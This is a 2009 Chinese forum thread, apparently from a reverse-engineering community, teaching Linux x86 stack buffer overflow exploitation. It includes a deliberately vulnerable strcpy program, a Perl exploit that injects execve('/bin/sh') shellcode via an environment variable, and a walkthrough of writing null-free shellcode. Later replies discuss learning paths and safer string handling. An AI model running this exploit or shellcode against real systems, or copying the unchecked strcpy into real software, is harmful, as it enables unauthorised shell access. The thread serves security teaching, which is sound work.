首页
社区
课程
招聘
[原创]Linux x86下溢出漏洞利用学习
发表于: 2009-3-31 15:30 11269

[原创]Linux x86下溢出漏洞利用学习

2009-3-31 15:30
11269
收藏
免费 7
支持
分享
最新回复 (33)
雪    币: 339
活跃值: (10)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
2
2. 一个溢出漏洞实例
  为了在直观上对溢出有个清晰的理解,我们先给出一个非常简单的溢出漏洞实例。首先看一个有溢出漏洞的简单程序vulnerable.c:
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char buff[16];

    strcpy(buff, argv[1]);
    printf("\n%s\n", buff);
}

程序中在使用strcpy函数时,因为没有检测字符串的长度而导致当argv[1]串长超过16字节时就会出现缓冲区溢出现象。使用gcc命令将vulnerable.c编译为可执行程序vulnerable,命令为gcc -o vulnerable vulnerable.c,如下图所示:



为了在本地利用该漏洞,我们需要精心构造ShellCode,下面是用perl写的利用程序exploit.pl:
#!/usr/bin/perl
#
# exploit.pl

$shellcode = 
"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69".
"\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
# 这里path需要设为本机环境下vulnerable的路径
$path = "/home/bill/Cracker/vulnerable"; 

$ret = 0xbffffffc - (length($path)+1) - (length($shellcode)+1);

$new_retword = pack('l',$ret);

printf("[+] Using ret Shellcode 0x%x\n", $ret);

%ENV=(); $ENV{CC}=$shellcode;

exec "$path",$new_retword x 8;

其中,上面提到的两个程序附在附件中(这里需要注意的是exploit.pl在创建后需要修改属性才能执行)。上面的ShellCode是精心构造过的,在后面的构造shellcode章节将讲述。
运行exploit.pl我们将得到一个shell(sh-2.05b$):



如果你能得到控制台(sh-2.05b$),就代表你已经攻击成功了。下面我们将详细讲述溢出漏洞相关的内容。

欢迎大家讨论!
上传的附件:
2009-3-31 15:35
0
雪    币: 339
活跃值: (10)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
3
3. 溢出是如何发生的
  由于函数中局部变量的内存分配是发生在栈(Stack)中的,所以如果在某一个函数中定义了缓冲区变量,则这个缓冲区变量所占用的内存空间是在该函数被调用时所建立的栈里。由于对缓冲区的潜在操作(比如字串的复制)都是从内存低址到高址的,而内存中所保存的函数调用返回地址往往就在该缓冲区的上方(高地址)——这是由于栈的特性决定的,这就为覆盖函数的返回地址提供了条件。当我们有机会用大于目标缓冲区大小的内容来向缓冲区进行填充时,就可以改写函数保存在函数栈(Statck)中的返回地址,从而使程序的执行流程随着我们的意图而转移。这是冯诺依曼计算机体系结构的缺陷。  
  下面将调试一个简单溢出程序simple_overflow.c来了解IA32架构缓冲区溢出的机制:
#include <stdio.h>
#include <string.h>

char large[] = "1234512345123451234512345===ABCD";

int main(void)
{
    char small[16];
    
    strcpy(small, large);
}

上面程序中,large字符串的长度是精心构造的,下面会提到;接下来将编译为simple_overflow,并用gdb调试,结果如下:



从图中可以看出,执行结束后eip已经被改为0x44434241,正好是ABCD的ASCII码值的倒置(A->0x41,B->0x42,C->0x43,D->0x44),这是由于IA32(Intel架构)默认字节序是Little_endian方式;而ABCD则正是上述程序中large数组的最后四个字母。也就是说在主程序调用strcpy时,因为large长度远长于small而导致返回地址被覆盖了。接下来我们反汇编程序,看看eip为何会变成0x44434241:



可以看到,在main函数的最开始设置断点(b *0x08048328)执行(r)后esp指向的内容就是main函数的返回地址(0x42015574);上面0x42015571位置的命令(call *0x8(%ebp))就是调用执行main函数。我们的目标就是覆盖这个地址,这样在main函数返回时转入我们的流程。这里,我们记下返回地址存储的地址0xbfffde1c。
  我们关注位置<main+28>上的指令(call 0x8048268<strcpy>):在linux环境下,当调用函数时将把参数从右向左压入栈(push命令)中。在本例中,先压入0x8049420(位置<main+19>),从下图中可以看到该地址为large字符串;接着压入0xffffffe8(%ebp)(位置<main+27>),该地址就是small字符串的首地址。



我们用ebp减去small数组的首地址是24,再加上函数指向最开始要做的保存ebp操作()所需要的4个字节可以得到28。可以验证一下0xbfffde00(small数组的首地址)加上28正好是我们之前记下的0xbfffde1c;这也正是为何我们的large数组需要32(28+4)字节的原因。



  如上所示,继续执行到main函数返回,最后的ret指令让eip等于esp指向的内容,而此时由于执行了有溢出漏洞的strcpy函数,此时esp指向的内容已经被我们修改过了(0x44434241)。这样,eip就变成了可以控制的地址了,也就是说我们达到了可控流程的目的。
上传的附件:
2009-3-31 15:41
0
雪    币: 339
活跃值: (10)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
4
4. 如何编写及提取ShellCode
  Shellcode是一段机器指令,用于在溢出之后改变系统正常流程,转而执行ShellCode从而完成渗透测试者的功能。1996年,Aleph One在Underground发表的论文给这段代码赋予ShellCode的名称,而这个称呼沿用至今。
  这里我们将编写一个非常简单的ShellCode,它的功能是得到一个命令行,下面是其C代码及执行情况:



程序shellcode运行后相当于又执行了一个“/bin/sh”,接下来用gdb调试以查看其关键代码:


程序中关键在于调用了execve函数,通过调试可以清楚得看到在调用该函数前将三个参数按从右向左的顺序压入栈中:先在<main+33>压入$0x0(即NULL参数),接着在<main+38>压入$ebp-8即指向地址$0x8048408的指针(即name),最后在<main+39>压入地址$0x8048408(即name[0],也就是”/bin/sh”字符串的地址)。接着我们反汇编execev函数(需要重新编译shellcode,使用静态编译,以避免链接干扰。命令为:gcc –static –o shellcode shellcode.c):



从反汇编代码中可以看到,其中关键使用了一个软中断功能(<execve+36>)。我们在在这个指令位置设断,并查看软中断执行前各寄存器的值:



可以看到,eax保存execve的系统调用号11,ebx保存name[0](即”/bin/sh”),ecx保存name这个指针,edx为0。这样执行软中断后就能执行/bin/sh得到Shell了;接下来,有了以上的分析就可以编写自己的ShellCode了,同时验证上面分析结果的正确性。
  下面,我们使用在C程序中内嵌汇编的方式构造shellcode,具体代码如下。有一点要注意,Linux x86默认的字节序是little-endian,所以压栈的字符串要注意顺序。



通过编译执行,我们成功得到了shell命令行(sh-2.05b$)。在编写内嵌汇编时一定要注意格式问题;当然最重要的是在执行软中断前一定要使各寄存器的值符合我们之前分析的结果。
  此时,编写工作依然没有完结,要记住我们最终的目的是得到ShellCode,也就是一串汇编指令;而对于strcpy等函数造成的缓冲区溢出,会认为0是一个字符串的终结,那么ShellCode如果包含0就会被截断,导致溢出失败。用objdump看看这个ShellCode是否包含0,命令为:objdump –d shellcode_asm | more。注意在此命令下会反汇编所有包含机器指令的section,请自行找到<main>段:



从反汇编结果可以看到,有两条指令”mov $0x0,%edx”和”mov $0xb,%eax”包含0,需要变通一下。我们使用命令”xor %edx,%edx”替换”mov $0x0,%edx”,使用”lea 0xb(%edx),%eax”替换”mov $0xb,%eax”,情况如下:



运行没有问题,再看看这个ShellCode有没有包含0:



可以看到,所有曾出现0的指令全消除了。也许你会说,地址0x80482fd上不就有四个0么;这里我们需要注意,我们需要提取的ShellCode从0x8048304到0x804837a,所以在此范围内没有0。
  到此为止,ShellCode的编写工作已经完美完成了;剩下的就是抽取及测试工作了,下面给出了一个简单的测试程序:



测试成功。看到上面的ShellCode是不是很眼熟?没错,正是在第二章节中我们使用过的ShellCode。到此,ShellCode的编写及抽取工作已经完成,相信您看到这里一定也能写出属于自己的ShellCode了吧:)
上传的附件:
2009-3-31 15:45
0
雪    币: 339
活跃值: (10)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
5
5. 怎样利用溢出漏洞
  前面我们介绍了溢出是如何产生的,并得到了一个简单的ShellCode。接下来我们将讲述一种在本地攻击存在溢出漏洞程序的方法:把ShellCode放在环境变量里,从而在攻击程序中精确定位ShellCode。下面是示意图:



在执行存在漏洞程序前,我们将ShellCode作为环境变量传递给程序,现在关键是如何定位ShellCode的地址。关于这个问题,我们先看一下堆栈最开始的使用情况,请看下图:



可以看到栈底是固定的,为0xc0000000,向低地址扩展,先是4个字节的0x00,然后是程序路径,接着是环境变量。使用gdb调试simple_overflow可以清楚得看到这一点:



从上图可以看到,假如我们精心构造的ShellCode能作为环境变量存储在程序路径前的一个环境变量中,那么我们将可以精确得定位ShellCode的地址。下面是在第二章节中展示的漏洞程序vulnerable.c,不过为了调试方便,我们在程序最后加了一条getchar()语句:


下面是我们在第二章节中展示的用Perl编写的攻击程序exploit.pl:



上面程序中,shellcode是我们在第四章节中精心构造过的ShellCode,path是本机上vulnerable可执行程序所在的绝对路径(请依据您本机的情况加以修改);ret则精确定位了ShellCode所在地址;new_retword保存了ret地址的长整型值,接着输出该值以便调试;接着设置shellcode为环境变量,最后使用exec调用漏洞程序,参数为连续8个new_retword值。
  首先,在一个控制台运行攻击程序:



通过输出看到ShellCode地址为0xbfffffc5,接着我们在另外一个控制台调试:



我们使用gdb附上(Attach)vulnerable程序,查看0xbfffffc5地址上的数据;通过对比,我们可以确定就是我们精心构造过的Shellcode。
  本地缓冲区溢出比较简单,看到这里相信各位都能明白了。

总结
  溢出利用总是有特定的环境,Windows和Linux下有着显著的区别,而且攻击手段也是层出不穷。本文给大家展示了在Linux环境下使用环境变量方法攻击漏洞程序的简单实例。通过阅读本文,希望大家能有所收获。

题外话
  本文是基于Xfocus的《网络渗透技术》一书所写,所以如果在看本文时能对照该书的第二、第三章节相信会更有收获,并且在书中不但阐述了如何在Linux x86环境下利用缓冲区溢出,还有Win32环境、AIX PowerPC平台及Solaris SRARC平台下的缓冲区溢出利用技术。
上传的附件:
2009-3-31 15:48
0
雪    币: 339
活跃值: (10)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
6
我汗,竟然没人关注;难道走错地方了
只好自己顶顶了
2009-4-1 11:21
0
雪    币: 255
活跃值: (18)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
没人顶,我顶。
我正需要这方面的资料
2009-4-2 01:10
0
雪    币: 235
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
8
好,我喜欢这样图文并茂的帖子!
2009-4-2 09:46
0
雪    币: 157
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
最好写一本初级的电子书,毕竟用linux得人还是很少的,至少在中国
2009-4-2 09:48
0
雪    币: 101
活跃值: (12)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
10
帮你顶顶123456
2009-4-2 10:00
0
雪    币: 111
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
好文!

顶起来!
2009-4-2 10:14
0
雪    币: 339
活跃值: (10)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
12
To RotteKone:
  不知你要了解Linux哪一方面的知识,在这里就我自己的经验说说:
  1)如果刚接触Linux,建议先学着用Linux,本身用好Linux对初学者就不简单
  2)如果想深入了解linux,可以选择从C入手(比较Linux系统就是用C写得),最好学过windows环境下的C语言(比如ANSI C);推荐《Unix环境高级编程》,这是Richard Steven的经典之作,也是床头书
  3)如果想涉入安全领域(比如说软件破解等),就要花时间去学学汇编语言,这是基础;当然,有Windows环境下的汇编经验最好;可以在使用gdb调试过程中熟悉它;不过要注意的是两者(x86架构下,linux下使用AT&T汇编,Windows下使用intel汇编)还是有区别的
  4)有了上面的基础,再介入安全领域会更得心应手些;当然,你也可以在需要时再学,但如此一下,可能在知识层面上就会缺乏整体的理解,也会需要更多的时间
2009-4-2 10:19
0
雪    币: 339
活跃值: (10)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
13
刚看到堕落天才写的一篇文章“函数调用堆栈分析”,对理解溢出很有帮助
文章地址:http://bbs.pediy.com/showthread.php?t=38234
2009-4-2 10:48
0
雪    币: 339
活跃值: (10)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
14
我汗,竟然沉到这了,我顶。。。
2009-4-4 21:46
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
哎!!!好文章啊,不过俺还是看不懂啊!呵呵支持下
2009-4-5 15:37
0
雪    币: 401
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
好文章,要顶
2009-4-5 23:14
0
雪    币: 103
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
不知道在fedora10里安装自己编译的内核可不可以试.我今天试一下.
2009-4-6 12:45
0
雪    币: 339
活跃值: (10)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
18
还没有用过FC10,你可以试试
2009-4-6 14:28
0
雪    币: 339
活跃值: (10)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
19
To icetea:

  记得把测试结果发上来
2009-4-6 14:29
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
我帮你顶,就是深了,看不太懂啊
2009-4-6 17:03
0
雪    币: 339
活跃值: (10)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
21
To ysplay:

    文中提到过,想深究溢出类问题需要一定得C、汇编功底
2009-4-6 17:27
0
雪    币: 240
活跃值: (10)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
22
不错  很基础
2009-4-7 11:37
0
雪    币: 339
活跃值: (10)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
23
嘿嘿,自己顶
2009-4-12 09:02
0
雪    币: 2110
活跃值: (21)
能力值: (RANK:260 )
在线值:
发帖
回帖
粉丝
24
其实,漏洞研究还应该包括很重要的一章:如何修补漏洞。

要知道,漏洞研究是研究软件安全,而不是研究破坏计算机系统。
2009-4-12 09:38
0
雪    币: 2110
活跃值: (21)
能力值: (RANK:260 )
在线值:
发帖
回帖
粉丝
25
有很多情况,程序存在溢出漏洞,问题出在了字符串的处理上,而字符串处理出问题,很可能是因为使用了不安全的C库字符串,比如著名的(也是臭名昭著的)strcpy。一种替换它的选择是strncpy,但若使用不当,它也可能出问题,比如整数溢出,从而还是没能避免字符数组溢出。

发生字符数组越界的原因,说到底,可以归于C语言最初设计时,让“字符串”与“以0结尾的字符数组(有时写为sz,即0结束的字符串)”等价,而没有单独设计一种含有长度信息和边界检查的字符串的类型(而PASCAL中就有)。这一设计在早期的计算机上主要是出于性能原因考虑的,但现在的计算机性能突飞猛进,所以,推荐使用安全的字符串类型,来替换C中的简单的“字符串”的表示。即使使用旧的sz形式的字符串,也不要吝啬进行长度检查。
2009-4-12 09:52
0
游客
登录 | 注册 方可回帖
返回
//